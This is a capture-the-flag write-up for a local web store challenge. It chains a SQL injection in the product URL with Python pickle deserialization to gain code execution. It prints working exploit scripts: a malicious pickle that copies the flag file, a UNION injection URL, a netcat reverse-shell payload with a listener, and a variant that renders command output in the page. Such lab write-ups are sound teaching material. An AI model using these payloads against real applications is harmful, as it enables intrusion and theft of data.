Enumeration #
First, I started poking around the website.
A simple store, with a few items to look at, and a ton of pickle images.
Clicking on the first item shows more details about it.
The URL looks interesting though…
Seeing a URL like http://localhost:1337/view/1
makes me curious.
Attempting to change the 1
to a 0
or a 5
crashes the application.
Fantastic, this looks like possible SQL injection!
Time to enumerate the code a bit and see what is going on under the hood.
SQL Injection Tests #
Looking at models.py
, we can see the following python code:
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
This is exactly what we want to see.
The {product_id}
variable is injectable!
A quick test check that injection is possible and maintain functionality would be to add the ' OR id='4
to the end of /view/
in the URL.
We can then change 4
to any available ID and the website will continue to function as normal.
The injected URL looks like:
http://localhost:1337/view/'%20OR%20id='4
Success! We have some SQL injection! If you’re unsure of why this works, here is what the SQL query becomes on the server side:
SELECT data FROM products WHERE id='' OR id='4'
The other interesting bit about the SQL setup is that database does not store the each piece of data for an item in its own column. Instead, it pickles the python object and then stores a base64 encoded pickled data, along with an ID and time created.
SQL injection is nice, but nothing really to leverage yet to get the flag (it’s not stored in the DB). Next, let’s look a bit deeper at the code base to see how we can leverage this to obtain the flag.
Pickle #
It took me much longer than it should have to remember that python has a pickle
module to binary pack python data structures.
It’s been years since I’ve touched it, but it all makes sense now looking at the website.
If you’re a python dev this was probably screaming at you the moment you started looking into this challenge.
A quick google search for “python pickle exploit” returns a plethora of results. There is an excellent write up about it that goes into great detail about how the python’s pickle module works, and how it can be exploited, and provides an example. We can take this information to craft our own exploit!
Exploiting #
According to the docs:
The
__reduce__()
method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”).
Looking at the how a pickle RCE works, the __reduce__
function will return os.system
(a callable), and a tuple of arguments to pass into os.system
.
When pickle.loads
is called from the application, the __reduce__
function is called and the os.system
command is executed.
The following exploits leverage the class RCE
referenced in the blog post mentioned above.
Let’s construct an exploit to get the flag.
Malicious Pickle #
The easiest way I could think of to get the contents of flag.txt
was to copy the file to a public directory on the web server.
In this application there is /static
directory that stores the images, js, css, etc.
Our payload will copy flag.txt
to that directory, and then we can access the file from the web browser.
Create a file called malicious_pickle.py
and add the following python code.
import pickle
import base64
import os
payload = 'cp flag.txt application/static/.'
class RCE:
def __reduce__(self):
return os.system, (payload,)
if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))
Run the command from your terminal and copy the output.
python3 malicious_pickle.py
Chaining with SQL Injection #
Okay, we have a base64 encoded pickle RCE ready to go, but how do we get it to execute on the server?
We need to go back to the SQL injection we found earlier.
The goal is to trick web server to load our payload instead of an id
from the database.
Since the SQL query in the application only returns the pickled data based on the ID, we can inject some SQL to fail finding data and then UNION
the result to include our RCE payload.
The following SQL snippet is what will be executed on the server side.
SELECT data FROM products WHERE id='' UNION SELECT '<MALICIOUS_PICKLE>'
The <MALICIOUS_PICKLE>
is just a placeholder for demonstration.
The final crafted SQL will include the base64 encoded string returned from the malicious_pickle.py
file above.
Constructing the URL #
Now that we have all the pieces, let’s put it together in the web browser. Craft a URL similar to the following and hit enter.
# replace <MALICIOUS_PICKLE> with the payload
http://localhost:1337/view/' UNION SELECT '<MALICIOUS_PICKLE>
The broken template is a good sign!
Let’s check to see if the exploit work. Goto http://localhost:1337/static/flag.txt
SUCCESS!
Going Further for Fun and Profit #
Sure, we got what we wanted, but we could take this a step further (or two).
Some hackers will say you haven’t really pwned a box until you “got a shell on the system”.
Others would say one needs to get root
.
This application runs in a container as root
so getting a shell would cover all bases ;D
Popping a Reverse Shell #
We can keep the same script as before, but will need to change payload.
After some poking around in the docker container, I noticed it has nc
installed built with the -e
flag enabled.
I decided to rerun the container on host network this time around. No more port forwarding was necessary!
In one shell, rerun the container.
docker run -it --rm --network host --name=cop cop
In another, start up a netcat listener.
nc -lnvp 4444
Update the payload to connect to the netcat listener and start a shell.
import pickle
import base64
import os
payload = 'nc 127.0.0.1 4444 -e /bin/sh'
class RCE:
def __reduce__(self):
return os.system, (payload,)
if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))
Grab the payload and execute the it like before in the browser. Pop that shell and get that flag!
Embed Data Into the Template #
Before moving on, have a gander at the database.py
file in the challenge.
The stored pickled data is based on a class called Item
.
To make the work, we need to construct a class that has the same fields, or import this challenge’s Item
class into our exploit code.
Honestly, importing the class seems like a ton of work for no real gain.
We can skip trying to embed the actual Item
class and make our own.
But from the same token, the application isn’t aware of classes defined in our codebase either.
For the __reduce__
function to not fail within the application, we can to leverage SimpleNamespace
to create a simple class (the callable) that can be used within the templates.
Since we’ll use the same field names as the application’s Item
class, the template will render properly!
While this is a bit more complex, and not really necessary, it was extremely satisfying to see the flag as the product’s description.
We’ll construct a new class
called FakeItem
and populate some fields based on Item
from the challenge.
Instead of a product description, the self.description
will contain an instance of the RCE
class.
It will get pickled properly along with the FakeItem
.
We also need to override the __reduce__
function in FakeItem
to return a SimpleNamespace
along with all the fields in our current instance.
import pickle
import base64
import subprocess
from types import SimpleNamespace
payload = ['cat', 'flag.txt']
class FakeItem:
def __init__(self):
self.name = 'Hacked!'
self.description = RCE()
self.image = 'https://media.tenor.com/Ce309bmw-fQAAAAM/be.gif'
self.price = '13.37'
def __reduce__(self):
return SimpleNamespace(**self.__dict__).__reduce__()
class RCE:
def __reduce__(self):
return (subprocess.check_output, (payload, ))
if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(FakeItem())).decode('ascii'))
In the previous exploits, using os.system
will only execute the commands, but not capture any output.
We can change that but using subprocess.check_output
which will return the bytes from process’ output.
One last pickle rick gif to personify my satisfaction in completing this challenge and especially the template injection.